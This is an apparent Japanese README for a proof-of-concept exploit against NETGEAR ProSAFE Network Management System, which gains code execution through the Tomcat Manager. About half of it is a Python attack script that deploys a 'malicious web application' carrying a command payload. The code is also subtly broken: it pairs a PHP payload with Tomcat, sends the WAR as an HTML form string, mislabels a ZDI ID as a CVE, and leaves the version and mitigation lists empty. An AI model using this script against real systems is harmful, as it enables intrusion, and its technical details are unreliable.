
NETGEAR ProSAFE Network Management Systemにおける脆弱なApache Tomcatを介したリモートコード実行を実証する概念実証エクスプロイト。Pythonデプロイスクリプトと緩和ガイダンス付き。
このリポジトリは、NETGEAR ProSAFE Network Management System におけるリモートコード実行 (RCE) 脆弱性の概念実証 (PoC) スクリプトを含んでいます。この脆弱性は、製品インストーラー内で脆弱なバージョンの Apache Tomcat が使用されていることに起因します。この問題により、認証済みの攻撃者が影響を受けるインストール環境で任意のコードを実行できる可能性があります。
CVE-ID: ZDI-CAN-22868
概要: NETGEAR ProSAFE Network Management System は、脆弱なバージョンの Apache Tomcat を使用しているため、リモートコード実行の脆弱性が存在します。認証を持つ攻撃者は、この脆弱性を悪用して、SYSTEM コンテキストで影響を受けるシステム上で任意のコードを実行できます。
影響を受けるバージョン:
認証: 必要
この PoC は、攻撃者がどのように脆弱性を悪用してリモートコード実行を達成するかを示しています。具体的な欠陥は、製品インストーラーが古いまたは脆弱な Apache Tomcat バージョンを使用していることにあります。
以下のスクリプトは、この RCE 脆弱性を悪用する方法を示しています。この PoC を実行する前に、適切な権限があることを確認してください。
重要: この PoC は教育目的のみであり、不正または悪意のある活動に使用すべきではありません。
import requests
# 設定
target_url = "http://target-ip:port/manager/html" # 対象の Tomcat Manager URL に変更してください
username = "admin" # 有効なユーザー名に変更してください
password = "password" # 有効なパスワードに変更してください
# リモートサーバー上で実行するペイロード
payload = """
<?php
// 任意の PHP コードを実行するペイロード
system('whoami');
?>
"""
# 新しい Web アプリケーションをデプロイするための Tomcat Manager URL パス
deploy_url = f"{target_url}/deploy?path=/example&update=true"
# 認証用のヘッダー
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
def exploit_rce(url, username, password, payload):
"""
悪意のある Web アプリケーションをデプロイして RCE 脆弱性を悪用します。
Args:
url (str): Tomcat Manager の URL。
username (str): Tomcat Manager のユーザー名。
password (str): Tomcat Manager のパスワード。
payload (str): 実行する悪意のあるペイロード。
"""
try:
# 悪意のあるペイロードを含む新しい Web アプリケーションを作成
response = requests.post(
url,
headers=headers,
data={
"path": "/example",
"war": f"<form method='post' enctype='multipart/form-data'><input type='file' name='file' value='{payload}'/></form>"
},
auth=(username, password)
)
# 応答の詳細を出力
print("ステータスコード:", response.status_code)
print("応答本文:", response.text)
if response.status_code == 200 and "Deployed application" in response.text:
print("[+] 悪意のある Web アプリケーションのデプロイに成功しました。")
else:
print("[-] 悪意のある Web アプリケーションのデプロイに失敗しました。")
except requests.RequestException as e:
print(f"[-] エラーが発生しました: {e}")
if __name__ == "__main__":
print(f"RCE 脆弱性を悪用中: {deploy_url}")
exploit_rce(deploy_url, username, password, payload)
target_url に対象システムの Tomcat Manager URL を設定し、username と password を有効な資格情報に更新します。exploit_rce() 関数は POST リクエストを送信して悪意のある Web アプリケーションをデプロイします。この脆弱性を緩和するには、以下の手順を実施してください。
これらの手順に従うことで、NETGEAR ProSAFE Network Management System の RCE 脆弱性に対処し、全体的なセキュリティを強化できます。
この README.md は、RCE 脆弱性の詳細な説明と PoC スクリプト、セットアップ手順、注意点、緩和策のアドバイスを提供します。